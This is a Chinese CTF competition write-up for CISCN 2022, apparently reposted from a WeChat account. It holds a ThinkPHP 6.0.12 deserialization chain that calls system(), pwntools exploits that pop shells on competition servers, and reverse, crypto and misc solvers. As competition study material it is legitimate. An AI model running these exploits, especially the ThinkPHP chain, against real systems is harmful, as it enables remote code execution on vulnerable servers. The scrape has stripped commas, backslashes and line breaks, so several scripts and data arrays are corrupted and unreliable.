CISCN2022 初赛 writeup by or4nge

admin 2022年9月10日15:50:56CTF专场评论16 views14879字阅读49分35秒阅读模式

CISCN 2022 初赛 writeup by or4nge
rank: 6th
or4nge 的师傅们在第十五届全国大学生信息安全竞赛创新实践赛初赛中拿到了全国第 6 名的好成绩,师傅们真棒!

CISCN2022 初赛 writeup by or4nge

Web

ezpop

tp6.0.12 的反序列化洞,直接用现成的链的打就行

 1<?php
2namespace think{
3    abstract class Model{
4        private $lazySave = false;
5        private $data = [];
6        private $exists = false;
7        protected $table;
8        private $withAttr = [];
9        protected $json = [];
10        protected $jsonAssoc = false;
11        function __construct($obj = ''){
12            $this->lazySave = True;
13            $this->data = ['key' => ["cat /flag.txt"]];
14            $this->exists = True;
15            $this->table = $obj;
16            $this->withAttr = ['key' => ['system']];
17            $this->json = ['key',['key']];
18            $this->jsonAssoc = True;
19        }
20    }
21}
22namespace thinkmodel{
23    use thinkModel;
24    class Pivot extends Model{
25    }
26}
27
28namespace{
29    echo(urlencode(serialize(new thinkmodelPivot(new thinkmodelPivot()))));
30}

Pwn

login-nomal

可见字符 shellcode,调用 ae64 脚本,rdx 直接打通

 1from pwn import *
2from ae64 import AE64
3import sys
4context(os='linux', arch='amd64', log_level='debug')
5
6if len(sys.argv) < 2:
7    debug = True
8else:
9    debug = False
10
11if debug:
12    p = process("./login")
13    libc = ELF("./libc-2.33.so")
14else:
15    p = remote("101.201.123.35"17186)
16
17
18def debugf(b=0):
19    if debug:
20        if b:
21            gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
22        else:
23            gdb.attach(p)
24
25elf = ELF('./login')
26
27
28ru = lambda x : p.recvuntil(x)
29sn = lambda x : p.send(x)
30rl = lambda : p.recvline()
31sl = lambda x : p.sendline(x)
32rv = lambda x : p.recv(x)
33sa = lambda a,b : p.sendafter(a,b)
34sla = lambda a,b : p.sendlineafter(a, b)
35
36# debugf(0x0401008)
37
38def Login(msg):
39    p.sendlineafter(">>> ""opt:1rnmsg:%srn" %msg)
40
41def weak(msg):
42    p.sendlineafter(">>> ""opt:2rnmsg:%srn" %msg)
43
44def Logout(msg):
45    p.sendlineafter(">>> ""opt:3rnmsg:%srn" %msg)
46
47
48shellcode = asm(shellcraft.sh())
49enc_shellcode = AE64().encode(shellcode, 'rdx'0'fast')
50# gdb.attach(p, "b *$rebase(0xe54)")
51
52sleep(1)
53
54Login("ro0t")
55print(enc_shellcode.decode('latin-1'))
56weak(enc_shellcode.decode('latin-1'))
57
58p.interactive()

newest_note

2.34 版本,整数溢出 +uaf,先 leak tcache 的 key,然后伪造堆块拿 libc 和 environ 最后再伪造一个栈上的 chunk 到返回地址拿到 shell

  1from pwn import *
2import sys
3context(os='linux', arch='amd64', log_level='debug')
4
5if len(sys.argv) < 2:
6    debug = True
7else:
8    debug = False
9
10if debug:
11    p = process("./newest_note")
12    libc = ELF("./libc.so.6")
13else:
14    p = remote("47.93.180.93"27873)
15    libc = ELF("./libc.so.6")
16
17def debugf(b=0):
18    if debug:
19        if b:
20            gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
21        else:
22            gdb.attach(p)
23
24elf = ELF('./newest_note')
25
26ru = lambda x : p.recvuntil(x)
27sn = lambda x : p.send(x)
28rl = lambda : p.recvline()
29sl = lambda x : p.sendline(x)
30rv = lambda x : p.recv(x)
31sa = lambda a,b : p.sendafter(a,b)
32sla = lambda a,b : p.sendlineafter(a, b)
33
34def menu(i):
35    sla(b':',str(i))
36
37def add(index,content):
38    menu(1)
39    sla('Index: ',str(index))
40    sla('Content: ',content)
41
42def flip(index):
43    menu(2)
44    sla('Index: ',str(index))
45
46def show(index):
47    menu(3)
48    sla('Index: ',str(index))
49
50
51ru('will be? :')
52sl(str(0x300200020//8))
53add(0,b"aaa")
54add(1,b"bbb")
55for i in range(0,24):
56    add(4,(p64(0)+p64(0x21))*3)
57
58flip(0)
59show(0)
60ru('Content: ')
61key = u64(p.recv(5).ljust(8,b'x00'))
62
63flip(1)
64show(1)
65ru('Content: ')
66heapinfo = u64(ru('n')[:-1].ljust(8,b'x00'))
67heapaddr = heapinfo ^ key
68heap_base = heapaddr - 0x2a0
69print("key: " + hex(key))
70print("heapaddr: " + hex(heapaddr))
71print("heap_base: " + hex(heap_base))
72
73
74add(0,p64(0))
75add(1,p64(key)+p64(0x41)+p64(key)+p64(0x41)+p64(key)+p64(0x41)) 
76add(2,3*(p64(0)+p64(0x21)))
77
78chunk1_size = heap_base+0x2b0
79
80print("chunk1 size: " + hex(chunk1_size))
81print("enc chunk1 size: " + hex((chunk1_size)^key))
82
83add(0x41cc70//8, p64(0)+p64(0x41)+p64(chunk1_size^key) +p64(0) )
84
85add(3,p64(0)*4+p64(0)+p64(0x420))
86add(4,p64(0)*3+p64(0x421))
87flip(0)
88show(0)
89libc_info = u64(ru('x7f')[-6:].ljust(8,b'x00'))
90libc.address = libc_info - 0x218cc0
91print("libc_info: " + hex(libc_info))
92print("libc_base: " + hex(libc.address))
93
94env = libc.symbols['environ'] - 0x10
95
96add(0,b"a"*8
97flip(2)
98flip(0)
99flip(4)
100
101add(4,p64(0)*3+p64(0x41)+p64(env^key))
102
103add(0,b'aaa')
104add(2,b'a'*15)
105
106show(2)
107
108stack2= u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00'))
109print("stack_info2: " + hex(stack2))
110
111ret2 = stack2 - 0x158
112flip(1)
113flip(0)
114flip(4)
115
116success("ret_enc: " + hex(ret2^key))
117success("ret_addr: " + hex(ret2))
118
119add(4,p64(0)*3+p64(0x41)+p64(ret2^key)) 
120add(1,b'aaa')
121pop_rdi_ret = 0x000000000002e6c5 
122ret = 0x000000000004a7cc 
123
124payload =b"a"*8 + p64(pop_rdi_ret + libc.address) + p64(libc.search(b"/bin/shx00").__next__()) + p64(ret + libc.address) + p64(libc.sym['system'])
125add(4,payload)
126
127p.interactive()

Re

baby_tree

手撸 ast,还原到 swift 源码

 1func check(encoded:String, keyValue:String) -> (Bool){
2    var b = [UInt8](encoded.utf8)
3    var k = [UInt8](keyValue.utf8)
4    var r0, r1, r2, r3: UInt8
5    for i in 0...b.count-4{
6        (r0, r1, r2, r3) = (b[i], b[i+1], b[i+2], b[i+3])
7        b[i+0] = r2 ^ ((k[0] + (r0 >> 4)) & 0xff)
8        b[i+1] = r3 ^ ((k[1] + (r1 >> 2)) & 0xff)
9        b[i+2] = r0 ^ k[2]
10        b[i+3] = r1 ^ k[3]
11        (k[0], k[1], k[2], k[3]) = (k[1], k[2], k[3], k[0])
12    }
13    return b == [88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16]
14}

用 z3 求解

 1from z3 import *
2
3enc = [
4    883588225720157947756751687221864,
5    9116101322077313074128762011624841205,
6    1038491997920222131632552016
7]
8
9k = [0x330x340x350x79]
10
11s = Solver()
12flag = [BitVec('flag%d' % i, 16for i in range(len(enc))]
13
14for i in range(len(flag) - 3):
15    r0, r1, r2, r3 = flag[i], flag[i + 1], flag[i + 2], flag[i + 3]
16    flag[i + 0] = r2 ^ ((k[0] + (r0 >> 4)) & 0xff)
17    flag[i + 1] = r3 ^ ((k[1] + (r1 >> 2)) & 0xff)
18    flag[i + 2] = r0 ^ k[2]
19    flag[i + 3] = r1 ^ k[3]
20    (k[0], k[1], k[2], k[3]) = (k[1], k[2], k[3], k[0])
21
22for i in range(len(enc)):
23    s.add(enc[i] == flag[i])
24
25if s.check() == sat:
26    print (s.model())
27else:
28    print ("no res")

babycode

mruby 字节码,参考文档:https://github.com/mruby/mruby/blob/c6c789d2e84085831351740684b72f9a5086cd2d/include/mruby/ops.h

手撸还原源码

 1class Crypt
2    class CIPHER
3        XX = 305419896
4        YY = 16
5        def self.encrypt(t, p)
6            cip = CIPHER.new()
7            return cip.encrypt(t, p)
8        end
9
10        def encrypt(t, p)
11            key = to_key(p)
12            c = []
13            n = 0
14            while n < t.length do
15                num1 = t[n].ord.to_i << 24
16                num1 += t[n + 1].ord.to_i << 16
17                num1 += t[n + 2].ord.to_i << 8
18                num1 += t[n + 3].ord.to_i
19                num2 = t[n + 4].ord.to_i << 24
20                num2 += t[n + 5].ord.to_i << 16
21                num2 += t[n + 6].ord.to_i << 8
22                num2 += t[n + 7].ord.to_i
23                enum1, enum2 = enc_one(num1, num2, key)
24                c << enum1
25                c << enum2
26                n += 8
27            end
28            return "".join(c.collect{| x |sprintf('%.8x', x)})
29        end
30
31        private
32        def to_key(p)
33            return p.unpack("L*")
34        end
35
36        def enc_one(num1, num2, key)
37            y, z, s = num1, num2, 0
38            YY.times{ | i |
39                y += (((z << 3) ^ (z >> 5)) + z) ^ (s + key[((s >> 11) + 1) & 3])
40                y &= 4294967295
41                s += XX
42                z += (((y << 3) ^ (y >> 5)) + y) ^ (s + key[(s + 1) & 3])
43                z &= 4294967295
44            }
45        end
46    end
47end
48
49def check(p)
50    i = 0
51    lst_ch = 0
52    while i < p.length do
53        c = p[i].ord
54        p[i] = (c ^ lst_ch ^ (i + 1)).chr
55        lst_ch = c
56        i += 1
57    end
58    k = "aaaassssddddffff"
59    cipher_text = Crypt::CIPHER.encrypt(p, k)
60    if cipher_text == "f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb"
61        return true
62    end
63    return false
64end
65
66p = gets.chomp
67if check(p)
68    puts "yes"
69end

修改后的 xtea,解密脚本:

 1#include <stdio.h>  
2#include <stdint.h>  
3
4void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {  
5    unsigned int i;  
6    uint32_t v0=v[0], v1=v[1], delta=305419896, sum=delta*num_rounds;  
7    for (i=0; i < num_rounds; i++) {
8        v1 -= (((v0 << 3) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum + 1) & 3]);  
9        sum -= delta;
10        v0 -= (((v1 << 3) ^ (v1 >> 5)) + v1) ^ (sum + key[((sum>>11) + 1) & 3]);  
11    }  
12    v[0]=v0; v[1]=v1;  
13}
14
15int main() {
16    uint32_t v[] = {0xf469358bu, 0x7f165145u, 0x116e127au, 0xd6105917u, 0xbce5225du, 0x6d62a714u, 0xc390c5edu, 0x93b22d8bu, 0x6b102a88u, 0x13488fdbu};  
17    uint32_t const k[4] = {0x61616161u, 0x73737373u, 0x64646464u, 0x66666666u};
18    unsigned int r=16;
19    decipher(r, v, k);
20    decipher(r, v + 2, k);
21    decipher(r, v + 4, k);
22    decipher(r, v + 6, k);
23    decipher(r, v + 8, k);
24    printf("%08x %08x %08x %08x %08x %08x %08x %08x %08x %08xn",v[0],v[1], v[2], v[3], v[4], v[5], v[6], v[7], v[8], v[9]);  
25    return 0;
26}

最后一个异或使用 python 求解

1a = [0x670x080x0e0x020x190x4b0x500x0d0x5c0x580x5f0x0b0x5e0x400x460x150x110x470x0a0x080x150x420x110x560x0d0x470x490x1e0x040x030x1d0x260x270x710x210x760x260x240x270x65]
2
3lst_ch = 0
4for i in range(40):
5    lst_ch = a[i] ^ lst_ch ^ (i + 1)
6    print (chr(lst_ch), end='')

secreeeeet

rabbit 加密

key 前 5 字节随机生成,后面 11 字节根据前面 5 字节生成

最后用 3 个随机字节异或

已知 flag.png 的文件头,可以爆破得到 key

直接用网上的 Rabbit 库解密

 1import hashlib
2from Rabbit import *
3
4r = open('flag.png.enc''rb')
5message = r.read()
6
7start = "0123456789"
8s = "qscfthnjik"
9for s1 in s:
10    for s2 in s:
11        for s3 in s:
12            for s4 in s:
13                for s5 in s:
14                    key = [ord(s1), ord(s2), ord(s3), ord(s4), ord(s5)]
15                    for i in range(11):
16                        key.append((key[-1] + key[-2]) & 0xff)
17                    for i in range(16):
18                        key[i] = key[i].to_bytes(1'big')
19                    key = b''.join(key)
20                    msg = Rabbit(key, b'x01x02x03x04x05x06x07x08').encrypt(message[:8]).encode()
21                    for i in start:
22                        if ord(i) ^ msg[0] == 0x89:
23                            for j in start:
24                                if ord(j) ^ msg[1] == 0x50:
25                                    for k in start:
26                                        if ord(k) ^ msg[2] == 0x4e:
27                                            if ord(i) ^ msg[3] == 0x47:
28                                                msg = Rabbit(key, 0).encrypt(message).encode()
29                                                ans = b''
30                                                for i in range(len(msg)):
31                                                    ans += chr(
32                                                        (msg[i])
33                                                        ^ key[i % 3]).encode()
34                                                print(ans)

Crypto

签到电台

首先发送一个 s 开启电报,抓包可以看到返回一个 session,再随意发一个字符发现 session 添加到了 cookie 字段中,之后直接发送电码本和掩码的模 10 加结果即可,注意中间是用 J 分隔的,脚本如下

 1plaint = '1732251413440356045166710055'
2mask   = '1021723964055826996370726447'
3msg = ''
4for i in range(len(plaint)):
5        msg += str((int(plaint[i]) + int(mask[i])) % 10)
6
7for i in range(len(msg)):
8        if i % 4 == 0:
9                print('J')
10        print(msg[i], end="")

基于挑战码的双向认证123

学着 server 的代码填空即可,主要填两个地方,填完发现仨题都能打通

在 152 行处

1    Memset(Buf,0,DIGEST_SIZE*4);
2    Strncpy(Buf,client_state->key,DIGEST_SIZE);
3    Memcpy(Buf+DIGEST_SIZE,client_state->nonceA,DIGEST_SIZE);
4    Memcpy(Buf+DIGEST_SIZE*2,client_state->nonceB,DIGEST_SIZE);
5    calculate_context_sm3(Buf,DIGEST_SIZE*3,Buf+DIGEST_SIZE*3);

在 184 行处

1    Memset(Buf,0,DIGEST_SIZE*2);
2    Strncpy(Buf,client_state->key,DIGEST_SIZE);
3    Memcpy(Buf+DIGEST_SIZE,client_state->nonceB,DIGEST_SIZE);
4    calculate_context_sm3(Buf,DIGEST_SIZE*2,login_info->passwd);

ISO9798

随意发送 16 字节后拿到 E(r_A||r_B||B),试了几次发现用的是分组加密的 ECB 模式,直接发送给服务端 E(r_B)||E(r_A) 即可

Misc

问卷

填问卷,拿 flag

ez_usb

两个键盘的流量,一个是 rar,一个是密码,抓出流量解密拿到 flag

 1import sys
2import os
3
4presses = []
5
6normalKeys = {"04":"a""05":"b""06":"c""07":"d""08":"e""09":"f""0a":"g""0b":"h""0c":"i""0d":"j""0e":"k""0f":"l""10":"m""11":"n""12":"o""13":"p""14":"q""15":"r""16":"s""17":"t""18":"u""19":"v""1a":"w""1b":"x""1c":"y""1d":"z","1e":"1""1f":"2""20":"3""21":"4""22":"5""23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>""2b":"t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"","3a":"<F1>","3b":"<F2>""3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
7
8shiftKeys = {"04":"A""05":"B""06":"C""07":"D""08":"E""09":"F""0a":"G""0b":"H""0c":"I""0d":"J""0e":"K""0f":"L""10":"M""11":"N""12":"O""13":"P""14":"Q""15":"R""16":"S""17":"T""18":"U""19":"V""1a":"W""1b":"X""1c":"Y""1d":"Z","1e":"!""1f":"@""20":"#""21":"$""22":"%""23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>""2b":"t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":""","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>""3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
9
10# tshark -r ez_usb.pcapng -T fields -e usb.capdata -Y "usb.device_address==8" | sed '/^s*$/d' > usb1.dat
11
12with open("usb1.dat""r"as f:
13    for line in f:
14        presses.append(line[0:-1])
15result = ""
16for press in presses:
17    if press == '':
18        continue
19    if ':' in press:
20        Bytes = press.split(":")
21    else:
22        Bytes = [press[i:i+2for i in range(0, len(press), 2)]
23    if Bytes[0] == "00":
24        if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
25            result += normalKeys[Bytes[2]]
26    elif int(Bytes[0],16) & 0b10 or int(Bytes[0],16) & 0b100000# shift key is pressed.
27        if Bytes[2] != "00" and normalKeys.get(Bytes[2]):
28            result += shiftKeys[Bytes[2]]
29    else:
30        print("Unknow Key : %s" % (Bytes[0]))
31
32print("got : %s" % (result))

原文始发于微信公众号(赛博安全社团):CISCN2022 初赛 writeup by or4nge

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月10日15:50:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CISCN2022 初赛 writeup by or4nge http://cn-sec.com/archives/1288853.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: